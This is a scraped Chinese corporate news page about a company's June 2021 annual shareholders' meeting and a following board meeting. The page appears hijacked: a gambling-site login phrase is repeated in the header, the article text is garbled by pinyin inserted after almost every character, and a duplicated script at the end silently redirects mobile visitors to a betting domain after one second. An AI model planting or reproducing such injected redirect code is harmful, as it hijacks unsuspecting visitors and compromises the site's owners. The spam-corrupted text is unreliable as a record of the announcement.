澳门威尼斯登陆

公司2021年股东周年大会、第三届董事会第五十一次会议圆满召开

澳门威尼斯登陆

澳门威尼斯登陆

公司2021年股东周年大会、第三届董事会第五十一次会议圆满召开

发布时间:2021-06-30 文章来源: 阅读次数: 文字大小:【

  6月(yue)29日上午,公(gong)(gong)司(si)(si)2021年(nian)(nian)股(gu)(gu)东(dong)周年(nian)(nian)大会(hui)(hui)在二层(ceng)一号会(hui)(hui)议室(shi)成功召(zhao)开(kai)。本次(ci)股(gu)(gu)东(dong)大会(hui)(hui)由公(gong)(gong)司(si)(si)执(zhi)行(xing)董(dong)(dong)事(shi)(shi)(shi)、党委副(fu)书(shu)记、总经理方(fang)彦水主持。公(gong)(gong)司(si)(si)董(dong)(dong)事(shi)(shi)(shi)、监事(shi)(shi)(shi)、董(dong)(dong)事(shi)(shi)(shi)会(hui)(hui)秘书(shu)、境内外律师(shi)、审(shen)(shen)计(ji)师(shi)代(dai)表(biao)及(ji)股(gu)(gu)票登(deng)记处分(fen)别以现场或视频连(lian)线方(fang)式列席会(hui)(hui)议。大会(hui)(hui)共审(shen)(shen)议并通(tong)过了五项议案:2020年(nian)(nian)度董(dong)(dong)事(shi)(shi)(shi)会(hui)(hui)工作报(bao)告、2020年(nian)(nian)度监事(shi)(shi)(shi)会(hui)(hui)工作报(bao)告、2020年(nian)(nian)度经审(shen)(shen)计(ji)合并财务报(bao)表(biao)及(ji)独立审(shen)(shen)计(ji)师(shi)报(bao)告、2020年(nian)(nian)度公(gong)(gong)司(si)(si)利(li)润分(fen)派计(ji)划和2021年(nian)(nian)公(gong)(gong)司(si)(si)国(guo)际(ji)审(shen)(shen)计(ji)师(shi)及(ji)国(guo)内审(shen)(shen)计(ji)师(shi)续聘的议案。本次(ci)股(gu)(gu)东(dong)会(hui)(hui)的表(biao)决(jue)结果已上载于香港(gang)联交所(suo)网站(zhan)及(ji)公(gong)(gong)司(si)(si)外网。

  公(gong)司(si)第(di)三届董事(shi)会(hui)(hui)(hui)(hui)第(di)五十(shi)一次会(hui)(hui)(hui)(hui)议(yi)随后召开(kai),会(hui)(hui)(hui)(hui)议(yi)由方彦(yan)水主持进行(xing)。公(gong)司(si)董事(shi)、监事(shi)及相关人员分别以现场(chang)或视频连线方式出席会(hui)(hui)(hui)(hui)议(yi)。会(hui)(hui)(hui)(hui)议(yi)共审(shen)议(yi)并通过了三项议(yi)案。  

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();